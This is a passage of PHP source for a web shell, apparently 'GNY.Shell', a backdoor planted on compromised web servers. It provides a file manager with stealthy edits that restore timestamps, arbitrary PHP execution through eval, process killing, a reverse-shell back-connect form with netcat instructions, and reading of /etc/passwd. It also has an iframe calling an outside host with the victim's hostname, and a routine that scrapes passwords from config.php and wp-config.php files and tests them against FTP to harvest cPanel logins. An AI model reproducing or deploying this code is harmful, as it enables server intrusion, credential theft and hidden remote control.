$objects["files"] = array();
foreach ($list as $v)
{
$o = basename($v);
$row = array();
if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
elseif (is_dir($v))
{
if (is_link($v)) {$type = "LINK";}
else {$type = "DIR";}
$row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win)
{
$ow = posix_getpwuid(fileowner($v));
$gr = posix_getgrgid(filegroup($v));
$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
}
$row[] = fileperms($v);
if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
elseif (is_link($v)) {$objects["links"][] = $row;}
elseif (is_dir($v)) {$objects["folders"][] = $row;}
elseif (is_file($v)) {$objects["files"][] = $row;}
$i++;
}
$row = array();
$row[] = '<b>Name</b>';
$row[] = '<b>Size</b>';
$row[] = '<b>Modify</b>';
if (!$win)
$row[] = '<b>Owner/Group</b>';
$row[] = '<b>Perms</b>';
$row[] = '<b>Action</b>';
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a") {$parsesort[1] = "d";}
$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
$y .= ($parsesort[1] == "a"?" [asc]":" [desc]");
$row[$k] .= $y;
for($i=0;$i<count($row)-1;$i++)
{
if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
}
$v = $parsesort[0];
usort($objects["folders"], "tabsort");
usort($objects["links"], "tabsort");
usort($objects["files"], "tabsort");
if ($parsesort[1] == "d")
{
$objects["folders"] = array_reverse($objects["folders"]);
$objects["files"] = array_reverse($objects["files"]);
}
$objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
$tab = array();
$tab["cols"] = array($row);
$tab["head"] = array();
$tab["folders"] = array();
$tab["links"] = array();
$tab["files"] = array();
$i = 0;
foreach ($objects as $a)
{
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
foreach ($regxp_highlight as $r)
{
if (ereg($r[0],$o))
{
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; GNYexit();}
else
{
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
{
if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == ".")
{
$row[] = "<b><a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a></b>";
$row[] = "LINK";
}
elseif ($o == "..")
{
$row[] = "<b><a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a></b>";
$row[] = "LINK";
}
elseif (is_dir($v))
{
if (is_link($v))
{
$disppath .= " => ".readlink($v);
$type = "LINK";
$row[] = "<b><a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a></b>";
}
else
{
$type = "DIR";
$row[] = "<b><a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a></b>";
}
$row[] = $type;
}
elseif(is_file($v))
{
$ext = explode(".",$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$row[] = "&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
$row[] = view_size($a[1]);
}
$row[] = date("d.m.Y H:i:s",$a[2]);
if (!$win) {$row[] = $a[3];}
$row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">[info]</a>&nbsp;".$checkbox;}
else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\">[info]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\">[change]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\">[download]</a>&nbsp;".$checkbox;}
if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
elseif (is_link($v)) {$tab["links"][] = $row;}
elseif (is_dir($v)) {$tab["folders"][] = $row;}
elseif (is_file($v)) {$tab["files"][] = $row;}
$i++;
}
}
// Compiling table
$table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgcolor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact.'><input type=hidden name=d value="'.$dispd.'">';
$countrows = 0;
foreach($table as $row)
{
if ($countrows & 1) {
echo "<tr bgcolor=#111111>\r\n";
} else {
echo "<tr>\r\n";
}
++$countrows;
foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
echo "</tr>\r\n";
}
echo "</table><hr size=\"1\" noshade><p align=\"right\">
<script>
function ls_setcheckboxall(status)
{
var id = 1;
var num = ".(count($table)-2).";
while (id <= num)
{
document.getElementById('actbox'+id).checked = status;
id++;
}
}
function ls_reverse_all()
{
var id = 1;
var num = ".(count($table)-2).";
while (id <= num)
{
document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
id++;
}
}
</script>
<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
<b>";
if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
{
echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
}
echo "<select name=act><option value=\"".$act."\">With selected:</option>";
echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change Mode</option>";
echo "<option value=md5file".($dspact == "md5file"?" selected":"").">MD5 Checksum</option>";
echo "<option value=sha1file".($dspact == "sha1file"?" selected":"").">SHA1 Checksum</option>";
if ($usefsbuff)
{
echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
echo '<option value=unselect'.($dspact == "unselect"?" selected":"").'>Unselect</option>';
}
echo '</select> <input type=submit value="Confirm"></p></form>';
}
}
if ($act == 'processes')
{
echo "<b>Processes:</b><br>";
if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
else {$handler = "tasklist";}
$ret = myshellexec($handler);
if (!$ret) {echo "Can't execute \"".$handler."\"!";}
else
{
if (empty($processes_sort)) {$processes_sort = $sort_default;}
$parsesort = parsesort($processes_sort);
if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
$k = $parsesort[0];
if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"> [sort]</a>";}
else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"> [sort]</a>";}
$ret = htmlspecialchars($ret);
if (!$win)
{
if ($pid)
{
if (is_null($sig)) {$sig = 9;}
echo "Sending signal ".$sig." to #".$pid."... ";
if (posix_kill($pid,$sig)) {echo "OK.";}
else {echo "ERROR.";}
}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
$stack = explode("\n",$ret);
$head = explode(" ",$stack[0]);
unset($stack[0]);
for($i=0;$i<count($head);$i++)
{
if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo "<tr>";
$line = explode(" ",$line);
$line[10] = join(" ",array_slice($line,10));
$line = array_slice($line,0,11);
if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
$line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
$prcs[] = $line;
echo "</tr>";
}
}
}
else
{
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
$ret = convert_cyr_string($ret,"d","w");
$stack = explode("\n",$ret);
unset($stack[0],$stack[2]);
$stack = array_values($stack);
$head = explode("",$stack[0]);
$head[1] = explode(" ",$head[1]);
$head[1] = $head[1][0];
$stack = array_slice($stack,1);
unset($head[2]);
$head = array_values($head);
if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"> [sort]</a>";}
else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"> [sort]</a>";}
if ($k > count($head)) {$k = count($head)-1;}
for($i=0;$i<count($head);$i++)
{
if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo "<tr>";
$line = explode("",$line);
$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
$line[2] = intval(str_replace(" ","",$line[2]))*1024;
$prcs[] = $line;
echo "</tr>";
}
}
}
$head[$k] = "<b>".$head[$k]."</b>".$y;
$v = $processes_sort[0];
usort($prcs,"tabsort");
if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
foreach($tab as $i=>$k)
{
echo "<tr>";
foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
echo "</tr>";
}
echo "</table>";
}
}
if ($act == "eval")
{
if (!empty($eval))
{
echo "<b>Result of execution this PHP-code</b>:<br>";
$tmp = ob_get_contents();
$olddir = realpath(".");
@chdir($d);
if ($tmp)
{
ob_clean();
eval($eval);
$ret = ob_get_contents();
$ret = convert_cyr_string($ret,"d","w");
ob_clean();
echo $tmp;
if ($eval_txt)
{
$rows = count(explode("\r\n",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
}
else {echo $ret."<br>";}
}
else
{
if ($eval_txt)
{
echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
eval($eval);
echo "</textarea>";
}
else {echo $ret;}
}
@chdir($olddir);
}
else {echo "<b>Execute PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($act == 'f')
{
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
{
if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
}
else
{
$r = @file_get_contents($d.$f);
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array('[info]','info'),
array('[rename]','rename'),
array('[html]','html'),
array('[txt]','txt'),
array('[code]','code'),
array('[session]','phpsess'),
array('[exe]','exe'),
array('[sdb]','sdb'),
array('[img]','img'),
array('[ini]','ini'),
array('[download]','download'),
array('[notepad]','notepad'),
array('[edit]','edit')
);
echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
foreach($arr as $t)
{
if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
}
echo "<hr size=\"1\" noshade>";
if ($ft == "info")
{
echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
if (!$win)
{
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
$fi = fopen($d.$f,"rb");
if ($fi)
{
if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
$n = 0;
$a0 = "00000000<br>";
$a1 = "";
$a2 = "";
for ($i=0; $i<strlen($str); $i++)
{
$a1 .= sprintf("%02X",ord($str[$i]))." ";
switch (ord($str[$i]))
{
case 0: $a2 .= "<font>0</font>"; break;
case 32:
case 10:
case 13: $a2 .= "&nbsp;"; break;
default: $a2 .= htmlspecialchars($str[$i]);
}
$n++;
if ($n == $hexdump_rows)
{
$n = 0;
if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
$a1 .= "<br>";
$a2 .= "<br>";
}
}
//if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
}
$encoded = "";
if ($base64 == 1)
{
echo "<b>Base64 Encode</b><br>";
$encoded = base64_encode(file_get_contents($d.$f));
}
elseif($base64 == 2)
{
echo "<b>Base64 Encode + Chunk</b><br>";
$encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
}
elseif($base64 == 3)
{
echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
$encoded = base64_encode(file_get_contents($d.$f));
$encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
}
elseif($base64 == 4)
{
$text = file_get_contents($d.$f);
$encoded = base64_decode($text);
echo "<b>Base64 Decode";
if (base64_encode($encoded) != $text) {echo " (failed)";}
echo "</b><br>";
}
if (!empty($encoded))
{
echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
}
echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
<P>";
}
elseif ($ft == "html")
{
if ($white) {@ob_clean();}
echo $r;
if ($white) {GNYexit();}
}
elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
elseif ($ft == "rename") { echo '
<form action=? method=GET>
<input type=hidden name=act value=f>
<input type=hidden name=f value='.urlencode($f).'>
<input type=hidden name=ft value=rename>
<input type=hidden name=d value='.$d.'>
New name: <input type=text name=name><br>
<input type=submit name=submit value=Submit></form>';
if (isset($_GET['name'])) {
rename($d.$f, $d.$_GET['name']);
if (file_exists($d.$_GET['name'])) {
echo '<b><font color=green>'.$f.' renamed '.$_GET['name'].' successfully.</b></font>';
}else{
echo '<b><font color=red>Error renaming file (incorrect permissions?)</b></font>';
}
}
}
elseif ($ft == "phpsess")
{
echo "<pre>";
$v = explode("|",$r);
echo $v[0]."<br>";
var_dump(unserialize($v[1]));
echo "</pre>";
}
elseif ($ft == "exe")
{
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
}
elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
elseif ($ft == "code")
{
if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
{
$arr = explode("\n",$r);
if (count($arr == 18))
{
include($d.$f);
echo "<b>phpBB configuration is detected in this file!<br>";
if ($dbms == "mysql4") {$dbms = "mysql";}
if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
else {echo "You cannot connect to forum database, because the database software of \"".$dbms."\" is not supported by GNY.Shell";}
echo "Parameters for manual connect:<br>";
$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
echo "</b><hr size=\"1\" noshade>";
}
}
echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {GNYexit();}
echo "</div>";
}
elseif ($ft == "download")
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($d.$f));
header("Content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
}
elseif ($ft == 'notepad')
{
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
echo($r);
exit;
}
elseif ($ft == 'img')
{
$inf = getimagesize($d.$f);
if (!$white)
{
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo "<center><b>Size:</b>&nbsp;";
$sizes = array("100","50","20");
foreach ($sizes as $v)
{
echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
if ($imgsize != $v ) {echo $v;}
else {echo "<u>".$v."</u>";}
echo "%</a>&nbsp;&nbsp;";
}
echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
}
else
{
@ob_clean();
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
header("Content-type: ".$inf["mime"]);
readfile($d.$f);
exit;
}
}
elseif ($ft == 'edit')
{
if (!empty($submit))
{
if ($filestealth) {$stat = stat($d.$f);}
$fp = fopen($d.$f,"w");
if (!$fp) {echo "<b>Can't write to file!</b>";}
else
{
echo '<b>Saved!</b>';
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode("\r\n",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
}
elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect.";}
else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
}
}
}
else
{
@ob_clean();
//For simple size- and speed-optimization.
$imgequals = array(
"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
"ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
"ext_html"=>array("ext_html","ext_htm"),
"ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
"ext_lnk"=>array("ext_lnk","ext_url"),
"ext_ini"=>array("ext_ini","ext_css","ext_inf"),
"ext_doc"=>array("ext_doc","ext_dot"),
"ext_js"=>array("ext_js","ext_vbs"),
"ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
"ext_wri"=>array("ext_wri","ext_rtf"),
"ext_swf"=>array("ext_swf","ext_fla"),
"ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
"ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall)
{
header("Content-type: image/gif");
header("Cache-control: public");
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
if (empty($images[$img])) {$img = "small_unk";}
if (in_array($img,$ext_tar)) {$img = "ext_tar";}
echo base64_decode($images[$img]);
}
else
{
foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
natsort($images);
$k = array_keys($images);
echo "<center>";
foreach ($k as $u) {echo '['.$u.']<br>';}
echo "</center>";
}
exit;
}
if ($act == 'backc')
{
$ip = $_SERVER["REMOTE_ADDR"];
$msg = $_POST['backcconnmsg'];
$emsg = $_POST['backcconnmsge'];
echo('<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value='.$ip.'> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>First, run NetCat on your computer using \'<b>nc -l -n -v -p '.$bc_port.'</b>\'. Then, click "Connect" once the port is listening.</center>');
echo $msg;
echo $emsg;
}
if ($act == 'rip') {
?>
<iframe
src ="http://crushmachine.com/rip.php?host=<?php echo getenv("HTTP_HOST"); ?>"
height="600"
width="100%">
</iframe>
<?php
}
if ($act == 'users') {
$users = file('/etc/passwd');
echo '<table>';
foreach($users as $user) {
$user = explode(':', $user);
echo '<tr><td>'.$user[0].'</td><td>'.$user[5].'</td></tr>';
}
echo '</table>';
}
if ($act == 'cpanel'){
if ($_GET['go'] == 'go'){
set_time_limit(0);
##################
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] Error : coudn't read /etc/passwd";
exit;
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;
while(!feof($passwd)) {
$str=fgets($passwd);
if ($i>35) {
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($path_to_public,$dirz);
}
}
}
$i++;
}
###################
#########################
function read_dir($path,$username) {
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$fpath="$path$file";
if (($file!='.') and ($file!='..')) {
if (is_readable($fpath)) {
$dr="$fpath/";
if (is_dir($dr)) {
read_dir($dr,$username);
}
else {
if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) {
$pass=get_pass($fpath);
if ($pass!='') {
echo "[+] $fpath\n$pass\n";
ftp_check($username,$pass);
}
}
}
}
}
}
}
}
function get_pass($link) {
@$config=fopen($link,'r');
while(!feof($config)) {
$line=fgets($config);
if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
if (strrpos($line,'"'))
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
else
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
return $pass;
}
}
}
function ftp_check($login,$pass) {
@$ftp=ftp_connect('127.0.0.1');
if ($ftp) {
@$res=ftp_login($ftp,$login,$pass);
if ($res) {
echo '[cPanel Found] '.$login.':'.$pass." Success\n";
}
else ftp_quit($ftp);
}
}
echo "<br><br>";
echo "<textarea name='main_window' cols=100 rows=20>";
